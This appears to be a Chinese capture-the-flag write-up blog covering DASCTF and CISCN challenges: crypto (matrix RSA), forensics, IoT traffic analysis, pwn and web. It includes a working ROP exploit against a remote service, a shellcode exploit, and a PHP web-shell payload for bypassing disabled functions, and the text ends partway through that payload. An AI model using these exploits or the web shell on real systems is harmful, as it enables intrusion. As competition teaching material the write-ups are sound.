prev_bit = simple_output[i - 1][curr_pos]
curr_bit = simple_output[i][curr_pos]
if curr_bit != prev_bit:
flip = True

flip_str = 'flip' if flip else ' '

print(f'{curr_pos:3}, {flip_str}: {curr_output_with_color}')

# # map b by pos
# b = ['1'] * (96 * 8)
# b[767] = '0'
# b[143] = '0'
# b[722] = '0'
# b[387] = '0'
#
# b_after_map = ['_'] * (96 * 8)
# for i in range(96 * 8):
# b_after_map[i] = b[pos[i+1]]
#
# b_after_map = ''.join(b_after_map)
# print(b_after_map)
#
# b_handle = ['_'] * (96 * 8)
#
# pos_real = pos[1:]
# simple_output_real = simple_output[1:]
# for i in range(len(simple_output_real)):
# curr_pos = pos_real[i]
# curr_output = simple_output_real[i].decode()[curr_pos]
# b_handle[i] = curr_output
#
# b_handle = ''.join(b_handle)
# print(b_handle)
#


def map_b(b):
b_after_map = ['_'] * (96 * 8)
for i in range(96 * 8):
b_after_map[i] = b[pos[i + 1]]
return b_after_map

def unmap_b(b):
b_after_unmap = ['_'] * (96 * 8)
for i in range(96 * 8):
b_after_unmap[pos[i + 1]] = b[i]
return b_after_unmap

def split_b(b_str):
return list(b_str)

def merge_b(b_list):
return ''.join(b_list)

def rotate_b(b_list, n):
# n may > 0 or < 0
b_list_new = b_list[:]
n = n % len(b_list_new)
return b_list_new[n:] + b_list_new[:n]

def flip_b(b_list):
b_list_new = b_list[:]
for i in range(len(b_list) - 1):
if b_list[i] != b_list[i + 1]:
b_list_new[i + 1] = '1' if b_list[i + 1] == '0' else '0'
return b_list_new


# b = ['1'] * (96 * 8)
# b[767] = '0'
# b[143] = '0'
# b[722] = '0'
# b[387] = '0'

# b = list('011000010110000101100001011000010110000101100001011000010110000101100001011000010110000101100001011000010110000101100001011000010110000101100001011000010110000101100001011000010110000101100001011000010110000101100001011000010110000101100001011000010110000101100001011000010110000101100001011000010110000101100001011000010110000101100001011000010110000101100001011000010110000101100001011000010110000101100001011000010110000101100001011000010110000101100001011000010110000101100001011000010110000101100001011000010110000101100001011000010110000101100001011000010110000101100001011000010110000101100001011000010110000101100001011000010110000101100001011000010110000101100001011000010110000101100001011000010110000101100001011000010110000101100001011000010110000101100001')
#
# b_dup = b[:]
#
# b = split_b(b)
# b = map_b(b)
# b = ['0'] + b
# # print(merge_b(b))
# # b = flip_b(b)
# b = rotate_b(b, -1)
# # print(merge_b(b))
# b = b[1:]
# b = unmap_b(b)
# b = merge_b(b)
# print(b)
#
# # revert
# b = split_b(b)
# b = map_b(b)
# b = ['0'] + b
# b = rotate_b(b, 1)
# b = b[1:]
# b = unmap_b(b)
# b = merge_b(b)
# print('compare')
# print(merge_b(b_dup))
# print(b)
#

b = '000011000110000101001000001110100000000101000100110100101000110111001010000010111011100000000010101100011100010110001000011001000110011101101001001001100110100100010001110001110100011100011111110111001011011100001110000110100101000011000011010101110000110101110101101011110000000101011000000101001010001000001010111111111100100010001100000001011101100101000000111101101010001100010110001000010101101100111101111111110101100111000010111110110101010010000011100000011011010010001110011010100101000000011100000010001010010110111000111001000100110101000001101000110001001000000000111100001100100000001010100101101010101001111001010010001111000101011011001001001101000010011101011101011011011110101000110110101000011001000100001101110000101110110000010001000010010001001100'
b = split_b(b)
b = map_b(b)
b = ['0'] + b
print('temp1:', merge_b(b))
b = rotate_b(b, 1)
print('temp2:', merge_b(b))
b = b[1:]
b = unmap_b(b)
b = merge_b(b)
print(b)


# b = '000011000110000101001000001110100000000101000100110100101000110111001010000010111011100000000010101100011100010110001000011001000110011101101001001001100110100100010001110001110100011100011111110111001011011100001110000110100101000011000011010101110000110101110101101011110000000101011000000101001010001000001010111111111100100010001100000001011101100101000000111101101010001100010110001000010101101100111101111111110101100111000010111110110101010010000011100000011011010010001110011010100101000000011100000010001010010110111000111001000100110101000001101000110001001000000000111100001100100000001010100101101010101001111001010010001111000101011011001001001101000010011101011101011011011110101000110110101000011001000100001101110000101110110000010001000010010001001100'

b = [b[i:i + 8] for i in range(0, len(b), 8)]
b = [int(i, 2) for i in b]
b = bytes(b)
print(b)

Crypto

MartixRSA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import random
import string
from Crypto.Util.number import *
from secret import flag
ext_len = 9*23 - len(flag)
flag += ''.join(random.choice(string.printable) for _ in range(ext_len))
def my_rsa_encrypt():
p = getPrime(512)
q = getPrime(512)
n = p * q
data = []
for i in range(9):
data.append(bytes_to_long(flag[23*i:23*(i+1)].encode()))
M = Matrix(Zmod(n), [data[i:i+3] for i in range(0, len(data), 3)])
e = 65537
C = M**e
print("p =", p >> 100)
print("n =", n)
return C
C = my_rsa_encrypt()
print("C =", C)
'''
p = 9707529668721508094878754383636813058761407528950189013789315732447048631740849315894253576415843631107370002912949379757275
n = 132298777672085547096511087266255066285502135020124093900452138262993155381766816424955849796168059204379325075568094431259877923353664926875986223020472585645919414821322880213299188157427622804140996898685564075484754918339670099806186873974594139182324884620018780943630196754736972805036038798946726414009
C = [130700952989014311434434028098810412089294728270156705618326733322297465714495704072159530618655340096705383710304658044991149662060657745933090473082775425812641300964472543605460360640675949447837208449794830578184968528547366608180085787382376536622136035364815331037493098283462540849880674541138443271941 71108771421281691064141020659106224750236412635914570166893031318860027728093402453305986361330527563506168063047627979831630830003190075818824767924892107148560048725155587353683119195901991465464478196049173060097561821877061015587704803006499153902855903286456023726638247758665778434728734461065079337757 67999998657112350704927993584783146575182096185020115836188544590466205688442741039622382576899587857972463337900200038021257164640987281308471100297698062626107380871262596623736773815445544153508352926374272336154553916204320257697068627063236060520725376727528604938949588845448940836430120015498687885615]
[ 23893343854815011808020457237095285782125931083991537368666368653089096539223297567339111502968295914745423286070638369517207554770793304994639155083818859208362057394004419565231389473766857235749279110546079776040193183912062870294579472815588333047561915280189529367474392709554971446978468118280633281993 9711323829269829751519177755915164402658693668631868499383945203627197171508441332211907278473276713066275283973856513580205808517918096017699122954464305556795300874005627001464297760413897074044080665941802588680926430030715299713241442313300920463145903399054123967914968894345491958980945927764454159601 44904507975955275578858125671789564568591470104141872573541481508697254621798834910263012676346204850278744732796211742615531019931085695420000582627144871996018850098958417750918177991375489106531511894991744745328626887250694950153424439172667977623425955725695498585224383607063387876414273539268016177401]
[ 67805732998935098446255672500407441801838056284635701147853683333480924477835278030145327818330916280792499177503535618310624546400536573924729837478349680007368781306805363621196573313903080315513952415535369016620873765493531188596985587834408434835281527678166509365418905214174034794683785063802543354572 13486048723056269216825615499052563411132892702727634833280269923882908676944418624902325737619945647093190397919828623788245644333036340084254490542292357044974139884304715033710988658109160936809398722070125690919829906642273377982021120160702344103998315875166038849942426382506293976662337161520494820727 95932690738697024519546289135992512776877884741458439242887603021792409575448192508456813215486904392440772808083658410285088451086298418303987628634150431725794904656250453314950126433260613949819432633322599879072805834951478466009343397728711205498602927752917834774516505262381463414617797291857077444676]

'''

根据题目信息和形式,可以直接看出来是需要去做一个矩阵快速幂+已知p的高位求解

先求解pq,已知高位那就直接coppersmith。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
n = 132298777672085547096511087266255066285502135020124093900452138262993155381766816424955849796168059204379325075568094431259877923353664926875986223020472585645919414821322880213299188157427622804140996898685564075484754918339670099806186873974594139182324884620018780943630196754736972805036038798946726414009
p4 = 9707529668721508094878754383636813058761407528950189013789315732447048631740849315894253576415843631107370002912949379757275
pbits = 512
kbits = pbits - p4.nbits()
print(p4.nbits())
p4 = p4 << kbits
PR.<x> = PolynomialRing(Zmod(n))
f = x + p4
roots = f.small_roots(X=2^kbits, beta=0.4)
if roots:
p = p4 + int(roots[0])
q = n//p
print(f'n: {n}')
print(f'p: {p}')
print(f'q: {q}')
'''
n: 132298777672085547096511087266255066285502135020124093900452138262993155381766816424955849796168059204379325075568094431259877923353664926875986223020472585645919414821322880213299188157427622804140996898685564075484754918339670099806186873974594139182324884620018780943630196754736972805036038798946726414009
p: 12305755811288164655681709252717258015229295989302934566212712319314835335461946241491177972870130171728224502716603340551354171940107285908105124549960063
q: 10750967246621849802090386055921679114516122704252330881722100331526757637044067492444912824266860574267360247681890637480406758188129451052986858429875143
'''

得知p和q的值之后,我们就可以利用矩阵上的欧拉函数来求解对应的d的值了,矩阵上的phi的求解方法可以在论文上搜到,其实在2024H&NCTF就遇到过类似的题。具体如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
from gmpy2 import *
from Crypto.Util.number import *
import numpy
p=12305755811288164655681709252717258015229295989302934566212712319314835335461946241491177972870130171728224502716603340551354171940107285908105124549960063
q=10750967246621849802090386055921679114516122704252330881722100331526757637044067492444912824266860574267360247681890637480406758188129451052986858429875143
n=132298777672085547096511087266255066285502135020124093900452138262993155381766816424955849796168059204379325075568094431259877923353664926875986223020472585645919414821322880213299188157427622804140996898685564075484754918339670099806186873974594139182324884620018780943630196754736972805036038798946726414009
q=n//p
e=65537
phi=(p**2-1)*(p**2-p)*(q**2-1)*(q**2-q)
d=invert(e,phi)
C = [(130700952989014311434434028098810412089294728270156705618326733322297465714495704072159530618655340096705383710304658044991149662060657745933090473082775425812641300964472543605460360640675949447837208449794830578184968528547366608180085787382376536622136035364815331037493098283462540849880674541138443271941,71108771421281691064141020659106224750236412635914570166893031318860027728093402453305986361330527563506168063047627979831630830003190075818824767924892107148560048725155587353683119195901991465464478196049173060097561821877061015587704803006499153902855903286456023726638247758665778434728734461065079337757,67999998657112350704927993584783146575182096185020115836188544590466205688442741039622382576899587857972463337900200038021257164640987281308471100297698062626107380871262596623736773815445544153508352926374272336154553916204320257697068627063236060520725376727528604938949588845448940836430120015498687885615),(23893343854815011808020457237095285782125931083991537368666368653089096539223297567339111502968295914745423286070638369517207554770793304994639155083818859208362057394004419565231389473766857235749279110546079776040193183912062870294579472815588333047561915280189529367474392709554971446978468118280633281993,9711323829269829751519177755915164402658693668631868499383945203627197171508441332211907278473276713066275283973856513580205808517918096017699122954464305556795300874005627001464297760413897074044080665941802588680926430030715299713241442313300920463145903399054123967914968894345491958980945927764454159601,44904507975955275578858125671789564568591470104141872573541481508697254621798834910263012676346204850278744732796211742615531019931085695420000582627144871996018850098958417750918177991375489106531511894991744745328626887250694950153424439172667977623425955725695498585224383607063387876414273539268016177401),(67805732998935098446255672500407441801838056284635701147853683333480924477835278030145327818330916280792499177503535618310624546400536573924729837478349680007368781306805363621196573313903080315513952415535369016620873765493531188596985587834408434835281527678166509365418905214174034794683785063802543354572,13486048723056269216825615499052563411132892702727634833280269923882908676944418624902325737619945647093190397919828623788245644333036340084254490542292357044974139884304715033710988658109160936809398722070125690919829906642273377982021120160702344103998315875166038849942426382506293976662337161520494820727,95932690738697024519546289135992512776877884741458439242887603021792409575448192508456813215486904392440772808083658410285088451086298418303987628634150431725794904656250453314950126433260613949819432633322599879072805834951478466009343397728711205498602927752917834774516505262381463414617797291857077444676)]
print(d)
#43047629616720251859920881165918075023893933573825994519997852119693144034068228665675671008862068761689715575445863640329185530092254447033928598712851124933241259796000409454197098998799078885998056075500976415419186412399189184258784327330927609649434122305185189759743259787356570331002461440733304204342679095128737964168575795695943494599749806682478073567726561293885643247380288743798673732739109783483741538869058700456560293887763294510183730649166561156999855271107039762823109162450450948873519089591956760678722334804695337058632832722333717031908734519718095108861846032363515360975287686310685125011768433759743169949589954960109168003535788965458199549552102384437401599362854039593164761770413470916704699518414671776915866253494811160263070661525551825028432063886591059208936847333549443116179443061702501174393173108634281296467878611053210142532485402964658881743677593408270250687616341096196040338988333205100490703477191756842960478575393797412553786998150700948989806787001465881554867817322042204140650969096886474708640327780777812748503294416087248565587329831724663810705103426406635344978879191125281349704216611638879400671856857369494791947153176208756628137723497867840017302010032797105960559820801

求出d之后,我们再矩阵快速幂算C^d次即可得到flag的各部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import numpy as np
def mod_matrix_multiply(A, B, n):
# 在模 n 的有限域上计算矩阵乘法
C = np.dot(A, B) % n
return C

def mod_matrix_power(A, power, n):
# 计算矩阵 A 的幂
result = np.eye(len(A), dtype=int) # 创建单位矩阵
while power > 0:
if power % 2 == 1:
result = mod_matrix_multiply(result, A, n)
A = mod_matrix_multiply(A, A, n)
power //= 2
return result
C = [(130700952989014311434434028098810412089294728270156705618326733322297465714495704072159530618655340096705383710304658044991149662060657745933090473082775425812641300964472543605460360640675949447837208449794830578184968528547366608180085787382376536622136035364815331037493098283462540849880674541138443271941,71108771421281691064141020659106224750236412635914570166893031318860027728093402453305986361330527563506168063047627979831630830003190075818824767924892107148560048725155587353683119195901991465464478196049173060097561821877061015587704803006499153902855903286456023726638247758665778434728734461065079337757,67999998657112350704927993584783146575182096185020115836188544590466205688442741039622382576899587857972463337900200038021257164640987281308471100297698062626107380871262596623736773815445544153508352926374272336154553916204320257697068627063236060520725376727528604938949588845448940836430120015498687885615),(23893343854815011808020457237095285782125931083991537368666368653089096539223297567339111502968295914745423286070638369517207554770793304994639155083818859208362057394004419565231389473766857235749279110546079776040193183912062870294579472815588333047561915280189529367474392709554971446978468118280633281993,9711323829269829751519177755915164402658693668631868499383945203627197171508441332211907278473276713066275283973856513580205808517918096017699122954464305556795300874005627001464297760413897074044080665941802588680926430030715299713241442313300920463145903399054123967914968894345491958980945927764454159601,44904507975955275578858125671789564568591470104141872573541481508697254621798834910263012676346204850278744732796211742615531019931085695420000582627144871996018850098958417750918177991375489106531511894991744745328626887250694950153424439172667977623425955725695498585224383607063387876414273539268016177401),(67805732998935098446255672500407441801838056284635701147853683333480924477835278030145327818330916280792499177503535618310624546400536573924729837478349680007368781306805363621196573313903080315513952415535369016620873765493531188596985587834408434835281527678166509365418905214174034794683785063802543354572,13486048723056269216825615499052563411132892702727634833280269923882908676944418624902325737619945647093190397919828623788245644333036340084254490542292357044974139884304715033710988658109160936809398722070125690919829906642273377982021120160702344103998315875166038849942426382506293976662337161520494820727,95932690738697024519546289135992512776877884741458439242887603021792409575448192508456813215486904392440772808083658410285088451086298418303987628634150431725794904656250453314950126433260613949819432633322599879072805834951478466009343397728711205498602927752917834774516505262381463414617797291857077444676)]

d=43047629616720251859920881165918075023893933573825994519997852119693144034068228665675671008862068761689715575445863640329185530092254447033928598712851124933241259796000409454197098998799078885998056075500976415419186412399189184258784327330927609649434122305185189759743259787356570331002461440733304204342679095128737964168575795695943494599749806682478073567726561293885643247380288743798673732739109783483741538869058700456560293887763294510183730649166561156999855271107039762823109162450450948873519089591956760678722334804695337058632832722333717031908734519718095108861846032363515360975287686310685125011768433759743169949589954960109168003535788965458199549552102384437401599362854039593164761770413470916704699518414671776915866253494811160263070661525551825028432063886591059208936847333549443116179443061702501174393173108634281296467878611053210142532485402964658881743677593408270250687616341096196040338988333205100490703477191756842960478575393797412553786998150700948989806787001465881554867817322042204140650969096886474708640327780777812748503294416087248565587329831724663810705103426406635344978879191125281349704216611638879400671856857369494791947153176208756628137723497867840017302010032797105960559820801
print(mod_matrix_power(C,d,n))
'''

[[6537547124942896363556910284537979082270724861730448998#flag1
4922321730290670654923300376398270986600388494493121377#flag2
7875050823366674760074264670738469846743038549320754022]
[11881437197497587270801024560701872641095800502149666903
7108052949162680427522366598986786385855392560476464945
10473947150905785882178785731710621841892274865355840321]
[9617091766406860640816031598215594338237784858167441764
3097622505046341281563803128600372235582304064924953929
5119872974228642605667436257655922430927914019627757406]]
'''

将前面三部分转字符后拼接起来即可

1
2
3
4
5
6
7
8
from Crypto.Util.number import *
a1=6537547124942896363556910284537979082270724861730448998
a2=4922321730290670654923300376398270986600388494493121377
a3=7875050823366674760074264670738469846743038549320754022

print(long_to_bytes(a1))
print(long_to_bytes(a2))
print(long_to_bytes(a3))

得到flag

DASCTF{48ccbfd88061d7ff3d5325148ec55d11}

Misc

糟糕的磁盘

题目给我们了几个img镜像

首先,我们将这些文件挂载在disk-drill下

发现有两个文件,我们将其恢复,发现得到了一个key.png和一个secret文件

我们打开key.png来看一看,发现是一张照片

然后我们使用VeraCrypt工具,将我们的secret挂载在加密卷上,使用我们的key.png作为密钥,即可解密

发现我们成功将文件挂载在了H盘上。打开之后得到一个flag.txt文件

打开得到flag

DASCTF{R41D_4ND_D15K_M4573R}

DS

DS1

error log有大量16进制,全部提取出来,并且分析对应的eval代码是文件的上传

两处十六进制分别是一个图片和一个压缩包,压缩包里面有密码

图片是一个盲水印

我们使用WaterMark工具直接一把梭,选择盲水印提取,获得压缩包对应的密码pass:dataPersonPass123987

得到密码后,解压对应的文件夹,可以得到一个csv文件,里面存放着对应的sfz和手机号,我们只需要定位到张三的信息就可以了

得到flag

DASCTF{30601319731003117X_79159498824}

DS2

使用下面代码读取data.pcapng中的userid和data数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import pyshark
import json
import csv

# 读取 pcapng 文件
cap = pyshark.FileCapture('data.pcapng', display_filter='http.request', tshark_path="E:/CTFWeb/Wireshark/tshark.exe")

data = []

# 遍历每一个 HTTP 请求包
for packet in cap:
# 判断是否是 HTTP POST 请求
if 'HTTP' in packet:
if packet.http.request_method == 'POST':

username = ""
name = ""
idcard = ""
phone = ""

# 输出请求的 URL 和查询参数
if hasattr(packet.http, 'host') and hasattr(packet.http, 'request_uri_query_parameter'):
username = packet.http.request_uri_query_parameter

# 输出 POST 数据
if hasattr(packet, 'http') and hasattr(packet.http, 'file_data'):
post_data = packet.http.file_data
d = json.loads(post_data)
name = d["name"]
idcard = d["idcard"]
phone = d["phone"]
else:
print("No POST data found.")

data.append({"username": username, "name": name, "idcard": idcard, "phone": phone})

print('-'*50)

csv_file_path = 'output.csv'
# 获取字典的字段名(即 CSV 文件的列名)
fieldnames = data[0].keys()

# 打开文件并写入数据
with open(csv_file_path, mode='w', newline='', encoding='utf-8') as file:
writer = csv.DictWriter(file, fieldnames=fieldnames)

# 写入表头
writer.writeheader()

# 写入数据
writer.writerows(data)

print(f"Data has been written to {csv_file_path}")

读取完之后使用下面验证脚本对每个用户数据进行验证:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
import csv
import os
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import dsa
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
from Crypto.PublicKey import DSA
from Crypto.Signature import DSS
from Crypto.Hash import SHA256
import base64

def load_public_key(user_id):
"""
Load the public key from a PEM file based on the user_id.
The public key file is named in the format `public-XXXX.pem`, where XXXX is the user_id padded to 4 digits.
"""
filename = f'public/public-{user_id:04d}.pem'
with open(filename, 'rb') as key_file:
# public_key = serialization.load_pem_public_key(
# key_file.read(),
# backend=default_backend()
# )
public_key = key_file.read()
return public_key

def verify_signature(data, signature, user_id):
"""
Verify the DSA signature using the SHA256 hash of the data and the corresponding public key.
"""
public_key_pem = load_public_key(user_id)
public_key = DSA.import_key(public_key_pem)

# Verify the signature using the public key
for key, value in data.items():
message = SHA256.new(value.encode('utf-8'))
verifier = DSS.new(public_key, 'fips-186-3')
signature_decoded = base64.b64decode(signature[key])

try:
verifier.verify(message, signature_decoded)
except ValueError:
# print("Signature is invalid.")
return False

# print(f"Signature is valid.")
return True

signatures = {}
count = 1

with open('data-sign.csv', mode='r') as file:
reader = csv.reader(file)
next(reader)
for row in reader:
if len(row) != 4:
continue # Skip invalid rows

username, name_signature, idcard_signature, phone_signature = row
username = int(username)

signatures[username] = {"name": name_signature, "idcard": idcard_signature, "phone": phone_signature}

# signature = bytes.fromhex(signature) # Assuming signature is stored in hex format

# Verify the signature for the current user
# verify_signature(data, signature, user_id)

invalid_data = []
duplicated = set()

with open('output.csv', mode='r', encoding='utf-8') as file:
reader = csv.reader(file)
next(reader)
for row in reader:

print(count)
count += 1

dp = ''.join(row)
if dp in duplicated:
continue
else:
duplicated.add(dp)

if len(row) != 4:
continue # Skip invalid rows

username, name, idcard, phone = row
username = int(username)

data = {"name": name, "idcard": idcard, "phone": phone}
# print(data, signatures[username])
is_valid = verify_signature(data, signatures[username], username)
if not is_valid:
invalid_data.append({
"userid": username,
"name": name,
"idcard": idcard,
"phone": phone
})
# break

csv_file_path = 'data.csv'
fieldnames = invalid_data[0].keys()
with open(csv_file_path, mode='w', newline='', encoding='utf-8') as file:
writer = csv.DictWriter(file, fieldnames=fieldnames)
writer.writeheader()
writer.writerows(invalid_data)

print(f"Data has been written to {csv_file_path}")

最后得到data.csv上传到平台即可。

IOT

blink

shift f12字符串里面翻一翻可以找到这么一串字符串

后面接着morse编码的ABCD,提交发现正确rtosandmorseisveryeasyhahhaha

sharkp

打开附件,看到流量文件、bin文件和readme,里面需要一个接口,一个ip地址。先看流量文件分析一下。

最开始,先看的http,发现没什么有用的信息。

翻了一下没看出什么端倪。然后决定去文件里看看有没有什么信息,先通过unsquashfs去提取文件系统。

然后翻了一下文件系统,看到这里有个watch-dog,进去看看

看门狗文件大概就是系统出现问题,看门狗会自动重启,这里可以去找找有没有对应的文件。etc下的文件没找到,但是找到了alphapd文件。

后续又去翻了一下流量文件,特意查看了一下post方法。发现其中

其中setSystemAdmin非常可疑,看到里面的内容后觉得更可疑了。这个AdminID更是可疑。

也翻了一下前面的setConfigUpload,看到里面很多的a,基本确定了这里就是攻击的流量,这里是pwn在打的过程。

我们进入到alphapd里,搜索setSystemAdmin

在这里可以看到利用点,基本可以确定利用的接口就在这里。这里利用字符串拼接,拼出来的结果是:

于是去找了一下telnet的流量,因为是单向流量。所以猜测ip是藏在报文里的

telnet流量里的内容如下:

但是尝试了setSystemAdmin_2.65.87.199,发现不行。

在telnet数据流中发现了一个http的请求,同时这个端口也是8000.比较奇怪,然后打开报文看了一下,这里是一个elf文件。把这串数据写入文件,分析一下其中的逻辑

发现也看不太懂,丢给gpt去看。发现这里有存ip,然后解析了一下。发现161.88.195.115不行。

又猜测是小端序,变成小端序后提交,flag正确。即最后的flag是setSystemAdmin_115.195.88.161

pwn

Vpwn

一个简易的C++VECTOR实现

分析一下程序很容易知道,其存储的是int值,并且存储在栈上的v8里面。

随便点一个函数进去,可以观察到+24的地方存储vector元素数量,是个8字节数据,正好是v8的第6个元素,因此vector的第6,7个元素的值恰好覆盖v8,若取得很大那么就可以读取和覆盖栈上的任意数据

可以通过此函数读取栈上足够多的数据:

其他的就是格式的处理了:

py如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from pwn import*
#io = process("./Vpwn")
io = remote("139.155.126.78",22675)
elf = ELF("./libc.so.6")
context.log_level = "debug"
context.terminal = ['tmux','splitw','-h']


import re

def extract_values(text):
text = text.decode('utf-8')
match = re.search(r'StackVector contents:\s*(.*)', text)
if match:
values = [int(value) for value in match.group(1).split()]
return values
return []

def dbg(cmd=""):
gdb.attach(io,cmd)
pause()

def choice(index):
io.sendlineafter(b"Enter your choice: ",str(index).encode("utf-8"))
def push(value):
choice(2)
io.sendlineafter(b"Enter the value to push: ",str(value).encode("utf-8"))
def pop():
choice(3)
def show():
choice(4)
return extract_values(io.recvline())
def edit(index,value):
choice(1)
io.sendlineafter(b"Enter the index to edit (0-based): ",str(index).encode("utf-8"))
io.sendlineafter(b"Enter the new value: ",str(value).encode("utf-8")
)
def exploit(injectindex,length):
for i in range(length):
edit(injectindex+i,payloadarray[i])
sleep(0.5)


for i in range(7):
push(0x300)
test = show()
hex_values = [hex(value if value >= 0 else (1 << 32) + value) for value in test]
with open("hex_values.txt", "w") as f:
for value in hex_values:
f.write(value + "\n")
# print(hex_values)

valuelist = show()

pause()

__libc_start_maina_add = (valuelist[59]<<32|valuelist[58])
libcbase = 0x7cb250a00000 - 0x7cb250a29e40 + __libc_start_maina_add
rdi = 0x000000000002a3e5+libcbase
rsi = 0x000000000002be51+libcbase
rbcdx = 0x0000000000108b03+libcbase
execve = elf.symbols["execve"]+libcbase
binsh = 0x1D8678+libcbase
payloadarray = [rdi&0xffffffff,(rdi>>32),
binsh&0xffffffff,(binsh>>32),
rsi&0xffffffff,(rsi>>32),(0x0),(0x0),
rbcdx&0xffffffff,(rbcdx>>32),(0),(0),(0),(0),(0),(0),
execve&0xffffffff,(execve>>32)]


#edit(58,rdi&0xffffffff)
#edit(59,(rdi>>32))
exploit(18,len(payloadarray))
# dbg('''
# b *$rebase(0x17D0)
# ''')
choice(5)
pause()
io.interactive()

HEAVEN DOOR

打开程序看一眼,是一个多进程,父进程会执行if内,子进程会执行else,else可以不用去关系,仅仅是输出一些东西

可以看见mmap在0x100000映射了一段内存,然后然我们往里面写内容,然后内容会被当做函数体来执行。

因此可以知道此题写shellcode即可。但是开了沙箱,观察一些禁用了那些系统调用:

但是此程序的沙箱配置存在问题,可以直接getshell即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
context.arch='amd64'
io = process("./vuln")

io.recvuntil("MADE IN HEAVEN !!!!!!!!!!!!!!!!")
bin = asm(shellcraft.sh())
#gdb.attach(io)
#pause()
io.sendline(bin)
#pause()
#print(io.recv())
#print(io.recv())
io.interactive()

2025CISCN-CCB

Posted on 2025-02-01 | In WriteUp

web

Safe_Proxy

主页直接给代码了

先改代码

1
2
3
4
5
6
7
8
9
10
11
@app.route('/', methods=["POST"])
def template():
template_code = request.form.get("code")
# 安全过滤
blacklist = ['__', 'import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', '\r', '\n']
for black in blacklist:
if black in template_code:
return "Forbidden content detected!"
result = render_template_string(template_code)
print(template_code)
return result

需要把result返回,并且要把传入的code输出用来记录payload

然后把flask监听改成0.0.0.0

然后fenjing直接梭

fenjing webui

直接爆破即可,最终日志得到执行命令的payload,注意需要

可以得到ls的payload

将flag写入app.py,之后直接通过get的方式读取__file__

hello_web

随便输点,可以看到../hackme.php和tips.php

../经过尝试猜测被过滤,双写进行绕过

tips有phpinfo,然后可以看到一堆disable function

hackme有一段代码,大概是这样的

这张是当时调试的图片,忘记截屏了

base64可以解码

把里面eval改成echo,可以看到执行的内容,前提是把这段代码和前面刚刚那个截屏放在一起

然后传参数的时候要注意php非法参数名的事情

需要传cmd[66.99=xxx

之后因为有disbale function,使用github的项目绕过即可

https://github.com/l3m0n/Bypass_Disable_functions_Shell/blob/master/shell.php

用这个shell.php

之后稍微改一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
POST /index.php?file=../....//hackme.php HTTP/1.1
Host: eci-2ze4xxsimq68wmh5do7k.cloudeci1.ichunqiu.com:80
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Referer: http://eci-2ze8chizbklyqw43ji9i.cloudeci1.ichunqiu.com/index.php?file=hello.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 59

cmd[66.99={{url(?><?php
echo "Disable functions: " . ini_get("disable_functions") . "\n";
$command = isset($_GET['cmd']) ? $_GET['cmd'] : 'id';
echo "Run command: $command\n====================\n";

if(is_x64()){
define(ARCH, 64);
}else{
define(ARCH, 32);
}

$OS = strtoupper(substr(PHP_OS,0,3));
if($OS === 'WIN') {
define(OS, 'Windows');
}elseif ($OS === 'DAR'){
